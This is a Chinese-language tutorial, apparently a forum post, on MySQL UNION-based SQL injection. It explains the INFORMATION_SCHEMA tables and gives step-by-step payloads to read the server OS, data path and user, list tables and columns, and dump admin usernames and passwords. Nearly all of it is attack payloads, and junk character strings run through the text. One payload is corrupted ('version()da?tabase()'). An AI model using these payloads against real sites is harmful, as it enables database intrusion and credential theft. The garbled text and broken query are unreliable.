mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
9 }2 {  Z( F3 R9 A
; w0 a' L+ t5 B: H& v: B& dMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
" @% s( g6 O- o7 _+ M  [: q( A存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
# N: M  U% E: c# c- ~( @6 R|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
. z% D5 v+ D3 G. h/ Y; T# h7 K- i|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
" ]* e- `; `: U: `( Y  X|---字段：TABLE_NAME ->存储所属表的名称

* x9 B. \" \) U6 m* ~|---字段：COLUMN_NAME ->该字段的名称


" ^# i, h6 o$ i: s' P4 O
2 `" \$ |7 r9 s; n8 `* y) }3 t###########################################################################

  R: D. u* f) i. L1 n4 H! L. c0x001 获取系统信息:
6 t- m+ r, m$ @  U: [
, u& {# v6 I# Q' C/ m& sunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
: E( s2 _1 D' b7 Q6 S
. E* k; A1 }( u/ g( Z$ y* x* E/ i8 D@@global.version_compile_os 获取系统版本

+ W- u4 r" \; k. g; m% {+ h  Q@@datadir 数据库路径
: H+ t  t" e  }8 D; h7 [database() 当前数据库名称
0x3c62723e 换行HEX值
' ^2 X7 W. O/ L- B4 K
3 O# ~  w5 [5 \% i% g' P0 ]*/

  k% f+ P2 m* x# z7 }4 y

  b$ W# Q2 g) L1 _9 }0 `; d+ J! U######################################################################

0x002 获取表名
* ~3 C' Q  Z( \% o) ^
- ]1 L( v9 z8 j9 j5 V( munion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

- h( Z" t0 O  e, h! r

/*
' d8 I  |) w' s$ b2 b$ o
# m& ~! d% H% U" i0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
% o5 C4 F* y" D8 M7 K' }
4 @/ O  C1 w& n######################################################################



0x003 获取字段
( g% A8 z+ Z( O* l3 m4 M! L8 m
( i. W8 Y7 J# `  ~0 {4 Hunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

# F) v/ X) i/ a/*

0 j! z5 F$ T; z1 Qgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
( _: E9 z* Y1 y
) v. ~. S0 a% q) r8 k0x61646d696e ->选择一个表

2 y" m6 ?1 Z$ l1 P( N0x67617264656e ->数据库名

0 s9 q' h8 d' h1 }! Z*/
% W( D5 Z5 G: K0 U: i" u
9 r+ h6 i8 T- x' S+ P8 J$ T# m#####################################################################
9 X+ ]" U7 z) O; w! {: k

! V, C2 \6 e0 v
0x004 获取数据
# m% K: B' @, ^1 j9 e! w) h
% d7 l' s7 }1 C& T$ runion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ h2 f  f5 c+ V, R
" B/ M! h' Z$ j6 [8 n7 aunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


9 X( \3 W2 V. J) m
  A7 V) F2 U" B3 x# u/*
* C" @1 e- I8 Y" L
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
& o- y: h, A# J* ~! ]
*/

# |; |' f3 T$ U% A% ?' o